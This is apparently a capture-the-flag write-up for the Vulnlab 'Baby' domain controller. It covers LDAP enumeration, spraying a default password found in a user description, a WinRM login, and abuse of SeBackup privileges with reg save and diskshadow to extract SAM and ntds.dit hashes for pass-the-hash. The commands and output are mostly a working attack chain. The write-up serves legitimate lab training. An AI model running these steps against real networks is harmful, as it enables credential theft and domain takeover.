Baby is an easy machine on Vulnlab
https://wiki.vulnlab.com/intro/lab-access
that involves enumerating LDAP & spraying credentials. For SYSTEM we exploit SeBackup & SeRestore Privileges.
The initial port scan shows the following ports:
# Nmap 7.94SVN scan initiated Thu May 30 09:32:08 2024 as: nmap -Pn -A -sC -sV -oN ports.txt 10.10.121.207
Nmap scan report for 10.10.121.207
Host is up (0.019s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-30 07:32:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-05-30T07:33:05+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2024-05-29T07:30:11
|_Not valid after: 2024-11-28T07:30:11
| rdp-ntlm-info:
| Target_Name: BABY
| NetBIOS_Domain_Name: BABY
| NetBIOS_Computer_Name: BABYDC
| DNS_Domain_Name: baby.vl
| DNS_Computer_Name: BabyDC.baby.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-05-30T07:32:25+00:00
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-05-30T07:32:29
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 30 09:33:05 2024 -- 1 IP address (1 host up) scanned in 56.65 seconds
┌──(puck㉿kali)-[~/vulnlab/baby]
Next we add to our /etc/hosts
10.10.99.125 baby.vl
One thing to check on Active Directory machines is if anonymous bind to LDAP is possible. We try to enumerate users via ldapsearch:
┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ ldapsearch -x -H ldap://baby.vl -D '' -w '' -b "DC=baby,DC=vl" | grep sAMAccountName | awk -F: '{ print $2 }' | awk '{ gsub(/ /,""); print }'
Guest
DomainComputers
CertPublishers
DomainUsers
DomainGuests
GroupPolicyCreatorOwners
RASandIASServers
AllowedRODCPasswordReplicationGroup
DeniedRODCPasswordReplicationGroup
EnterpriseRead-onlyDomainControllers
CloneableDomainControllers
ProtectedUsers
DnsAdmins
DnsUpdateProxy
dev
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
it
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
.
Another point to check on LDAP is the description field of users. Sometimes administrators store valuable information there without realizing that unprivileged users have access to this kind of information:
┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ ldapsearch -x -H ldap://baby.vl -D '' -w '' -b "DC=baby,DC=vl" | grep desc
description: Built-in account for guest access to the computer/domain
description: All workstations and servers joined to the domain
description: Members of this group are permitted to publish certificates to th
description: All domain users
description: All domain guests
description: Members in this group can modify group policy for the domain
description: Servers in this group can access remote access properties of user
description: Members in this group can have their passwords replicated to all
description: Members in this group cannot have their passwords replicated to a
description: Members of this group are Read-Only Domain Controllers in the ent
description: Members of this group that are domain controllers may be cloned.
description: Members of this group are afforded additional protections against
description: DNS Administrators Group
description: DNS clients who are permitted to perform dynamic updates on behal
description: Set initial password to BabyStart123!
┌──(puck㉿kali)-[~/vulnlab/baby]
└─$
.
The password for Teresa.Bell was at some point reset to “BabyStart123!”. This is likely the default passwords admins use when a user has forgotten his password. We can try to use it for Teresa, but will notice that it’s not valid:
┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!' --no-bruteforce
SMB baby.vl 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB baby.vl 445 BABYDC [-] baby.vl\teresa.bell:BabyStart123! STATUS_LOGON_FAILURE
┌──(puck㉿kali)-[~/vulnlab/baby]
Maybe it is valid for another user though. We create a wordlist “users.txt” from the usernames we saw in LDAP and spray the password across all accounts:
┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ crackmapexec smb baby.vl -u users.txt -p 'BabyStart123!' --no-bruteforce
SMB baby.vl 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB baby.vl 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\DomainComputers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\CertPublishers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\DomainUsers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\DomainGuests:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\GroupPolicyCreatorOwners:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\RASandIASServers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\AllowedRODCPasswordReplicationGroup:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\DeniedRODCPasswordReplicationGroup:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\EnterpriseRead-onlyDomainControllers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\CloneableDomainControllers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\ProtectedUsers:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\DnsAdmins:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\DnsUpdateProxy:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\dev:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\it:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
SMB baby.vl 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB baby.vl 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
┌──(puck㉿kali)-[~/vulnlab/baby]
We have a hit for Caroline.Robinson, change her password via smbpasswd and use these credentials to login via WinRM:
.
.
└─$ smbpasswd -U BABY/caroline.robinson -r baby.vl
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson
└─$ evil-winrm -i baby.vl -u 'Caroline.Robinson' -p 'Password123!'
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /all
.
We check our privileges with whoami /all
and see that we have SeRestore- & SeBackupPrivilege. This allows us to save SAM & SYSTEM and download it to our machine:
cd c:\
mkdir Temp
cd \Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
|
After downloading the files, pypykatz or secretsdump can be used to obtain the administrator hash:
pypykatz registry --sam sam system
...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
|
However, we cant connect with this hash. Why? It’s actually the local administrator hash which is not useable on a domain controller for logging in! Instead, we have to get the hash of the account in the domain (which has exactly the same name). In order to do this, we have to grab “ntds.dit” aswell:
# save this in script.txt
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
# run diskshadow
diskshadow /s script.txt
# copy ntds to c
robocopy /b E:\Windows\ntds . ntds.dit
|
Now we can run secretsdump again, this time getting the domain account hashes by supplying “ntds.dit”:
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
|
Finally we can use the hash to connect via WinRM:
evil-winrm -i baby.vl -u 'administrator' -H '<REDACTED>'
|
That’s all
Beyond root
*Evil-WinRM* PS C:\> Get-ScheduledTask
TaskPath TaskName State
-------- -------- -----
\ CreateExplorerShellUnelevatedTask Ready
\ MicrosoftEdgeUpdateTaskMachine... Ready
\ MicrosoftEdgeUpdateTaskMachineUA Ready
\ restore_password Disabled
\Microsoft\Windows\ Server Initial Configuration Task Disabled
\Microsoft\Windows\.NET Framework\ .NET Framework NGEN v4.0.30319 Ready
etc..etc
*Evil-WinRM* PS C:\> Get-Childitem -Path C:\ -Filter restore_password -Recurse -ErrorAction SilentlyContinue -Force
Directory: C:\Windows\System32\Tasks
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/30/2023 7:53 AM 2594 restore_password
*Evil-WinRM* PS C:\Windows\System32\Tasks> dir
Directory: C:\Windows\System32\Tasks
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/19/2021 1:32 PM Microsoft
-a---- 9/7/2023 6:30 PM 3650 CreateExplorerShellUnelevatedTask
-a---- 11/21/2021 12:41 PM 3184 MicrosoftEdgeUpdateTaskMachineCore
-a---- 11/21/2021 12:41 PM 3408 MicrosoftEdgeUpdateTaskMachineUA
-a---- 7/30/2023 7:53 AM 2594 restore_password
*Evil-WinRM* PS C:\Windows\System32\Tasks> type restore_password
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2022-01-20T07:36:00</Date>
<Author>BABY\Administrator</Author>
<URI>\restore_password</URI>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
</Principal>
</Principals>
<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<Enabled>false</Enabled>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
</Settings>
<Triggers>
<TimeTrigger>
<StartBoundary>2022-01-20T07:36:00</StartBoundary>
<Repetition>
<Interval>PT3M</Interval>
</Repetition>
</TimeTrigger>
</Triggers>
<Actions Context="Author">
<Exec>
<Command>c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe</Command>
<Arguments>-exec bypass -file c:\windows\temp\password_restore.ps1</Arguments>
</Exec>
</Actions>
</Task>
*Evil-WinRM* PS C:\Windows\System32\Tasks> type c:\windows\temp\password_restore.ps1
$Pass = ConvertTo-SecureString "BabyStart123!" -AsPlainText -Force
Set-ADAccountPassword -Identity Caroline.Robinson -NewPassword $Pass -Reset
Set-ADUser -Identity Caroline.Robinson -ChangePasswordAtLogon $true
*Evil-WinRM* PS C:\Windows\System32\Tasks> hostname
BabyDC
*Evil-WinRM* PS C:\Windows\System32\Tasks>
.